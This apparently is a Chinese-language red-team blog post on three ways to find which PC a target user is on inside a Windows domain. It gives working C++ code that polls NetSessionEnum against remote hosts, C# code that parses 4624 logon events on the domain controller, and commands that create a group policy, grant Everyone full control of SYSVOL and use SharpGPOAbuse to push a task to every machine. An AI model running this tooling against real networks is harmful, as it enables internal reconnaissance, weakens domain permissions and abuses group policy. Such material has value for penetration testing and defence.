域內定位個人PC的三種方式
會話搜集
在cmd下調用query session命令可以獲得當前環境下的windows會話

NetSessionEnum
這個函數不允許直接查詢是誰登陸,但是它允許查詢是誰在訪問此工作站的網絡資源時所創建的網絡會話,從而知道來自何處,此函數不需要高權限即可查詢
NET_API_STATUS NET_API_FUNCTION NetSessionEnum( [in] LMSTR servername, [in] LMSTR UncClientName, [in] LMSTR username, [in] DWORD level, [out] LPBYTE *bufptr, [in] DWORD prefmaxlen, [out] LPDWORD entriesread, [out] LPDWORD totalentries, [in, out] LPDWORD resume_handle );
第一個參數是servername,我們可以通過servername指定一個遠程的主機,然后這個 API 會去調用遠程主機的 RPC,然后返回其他用戶在訪問這臺遠程主機的網絡資源時所創建的網絡會話,從而可以看到這個用戶來自何處
該 API 并不能查詢到是誰登陸了這臺遠程主機,但是可以看到訪問這臺遠程主機的網絡資源時所創建的網絡會話。從這個網絡會話中可以看到哪個域用戶來自哪個 IP,并且該 API 不需要在遠程主機上有管理員權限
返回值有點特殊,NERR_Success和ERROR_MORE_DATA都是證明函數使用成功

level 的數值需要設置為10,是唯一以未經身份驗證的方式就可以獲取所需數據的級別

通過wireshark抓包可以得到NetSessionEnum分為6步操作
- 與遠程主機建立 SMB 連接(Kerberos 身份驗證)
- 連接到
IPC$共享 - 打開
srvsvc命名管道 srvsvc使用其 UUID綁定到接口4b324fc8-1670-01d3-1278-5a47bf6ee188- 查詢
NetSessionEnum - 關閉并注銷

實現代碼
// FindADPC.cpp : 此文件包含 "main" 函數。程序執行將在此處開始并結束。
//
#include
#ifndef UNICODE
#define UNICODE
#endif
#pragma comment(lib, "Netapi32.lib")
#pragma warning(disable:4996)
#include
#include
#include
#include
#include
int session_enum(LPTSTR pszServerName) {
NET_API_STATUS nStatus;
LPSESSION_INFO_10 pBuf = NULL;
LPSESSION_INFO_10 pTmpBuf;
DWORD dwLevel = 10;
DWORD dwPrefMaxLen = MAX_PREFERRED_LENGTH;
DWORD dwEntriesRead = 0;
DWORD dwTotalEntries = 0;
DWORD dwResumeHandle = 0;
DWORD i;
DWORD dwTotalCount = 0;
do
{
nStatus = NetSessionEnum(pszServerName,
NULL,
NULL,
dwLevel,
(LPBYTE*)&pBuf,
dwPrefMaxLen,
&dwEntriesRead,
&dwTotalEntries,
&dwResumeHandle);
if ((nStatus == NERR_Success) || (nStatus == ERROR_MORE_DATA))
{
if ((pTmpBuf = pBuf) != NULL)
{
for (i = 0; (i < dwEntriesRead); i++)
{
assert(pTmpBuf != NULL);
if (pTmpBuf == NULL)
{
fprintf(stderr, "An access violation has occurred");
break;
}
SYSTEMTIME sys;
GetLocalTime(&sys);
char current_time[64] = { NULL };
sprintf(current_time, "%4d-%02d-%02d %02d:%02d:%02d ", sys.wYear, sys.wMonth, sys.wDay, sys.wHour, sys.wMinute, sys.wSecond);
printf("[%s] [%ws] [%ws] [%ws]", current_time, pszServerName, pTmpBuf->sesi10_cname, pTmpBuf->sesi10_username);
pTmpBuf++;
dwTotalCount++;
}
}
}
else
fprintf(stderr, "A system error has occurred: %d", nStatus);
if (pBuf != NULL)
{
NetApiBufferFree(pBuf);
pBuf = NULL;
}
}while (nStatus == ERROR_MORE_DATA);
if (pBuf != NULL)
NetApiBufferFree(pBuf);
return 0;
}
int wmain(int argc, wchar_t* argv[])
{
if (argc == 1)
{
printf("Using:\t FindADPC.exe \\\\dc1 ");
return 0;
}
while (true)
{
for (size_t i = 0; i < argc; i++)
{
if (i == 0)
{
continue;
}
session_enum(argv[i]);
}
Sleep(5000);
}
return 0;
}
實現效果

查詢域控4624登錄成功日志
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Text;
namespace EventLog4624
{
class Program
{
static void Main(string[] args)
{
EventLog_4624();
}
public static string MidStrEx(string sourse, string startstr, string endstr)
{
string result = string.Empty;
int startindex, endindex;
startindex = sourse.IndexOf(startstr);
if (startindex == -1)
return result;
string tmpstr = sourse.Substring(startindex + startstr.Length);
endindex = tmpstr.IndexOf(endstr);
if (endindex == -1)
return result;
result = tmpstr.Remove(endindex);
return result;
}
public static void EventLog_4624()
{
EventLog log = new EventLog("Security");
var entries = log.Entries.Cast().Where(x => x.InstanceId == 4624);
entries.Select(x => new
{
x.MachineName,
x.Site,
x.Source,
x.Message,
x.TimeGenerated
}).ToList();
foreach (EventLogEntry log1 in entries)
{
string text = log1.Message;
string ipaddress = MidStrEx(text, " 源網絡地址: ", " 源端口:");
string username = MidStrEx(text, "新登錄:", "進程信息:");
username = MidStrEx(username, " 帳戶名: ", " 帳戶域: ");
DateTime Time = log1.TimeGenerated;
if (ipaddress.Length >= 7)
{
Console.WriteLine("\r-----------------------------------");
Console.WriteLine("Time: " + Time);
Console.WriteLine("Username: " + username.Replace("", "").Replace(" ", "").Replace("\t", "").Replace("\r", ""));
Console.WriteLine("Remote IP: " + ipaddress.Replace("", "").Replace(" ", "").Replace("\t", "").Replace("\r", ""));
}
}
}
}
}

gpo下發query user寫log到sysvol
GPO(Group Policy Object)是 Windows 中的一種管理技術,用于管理域中用戶和計算機的設置。通過 GPO,管理員可以下發策略來配置用戶和計算機的系統設置,以實現統一的管理和控制。
在 GPO 管理環境下,管理員可以使用 query user 命令來查詢當前連接到計算機的用戶的信息。query user 命令可以查詢用戶的登錄時間、登錄狀態、連接狀態等信息。
管理員可以將 query user 命令的輸出寫入到 sysvol 目錄中,以便對用戶登錄情況進行記錄和統計。sysvol 目錄是 Windows 中一個共享目錄,用于存儲域控制器上的組策略文件。管理員可以將 query user 命令的輸出信息寫入到 sysvol 目錄中,以便通過域控制器來管理和訪問這些信息。
創建組策略
Import-Module GroupPolicy;new-gpo -name QueryDomainUser01

連接到域
powershell Import-Module GroupPolicy;new-gplink -name QueryDomainUser01 -Target "dc=god,dc=org"

修改sysvol的權限
icacls c:\windows\sysvol\ /grant Everyone:(OI)(CI)(F) /T


下發執行
SharpGPOAbuse.exe --AddComputerTask --TaskName "QueryDomainUser001" --Author owa\\administrator --Command "cmd.exe" --Arguments "cmd /c query user > \\owa\sysvol\%COMPUTERNAME%.txt" --GPOName "QueryDomainUser01"
強制執行
gpupdate /force
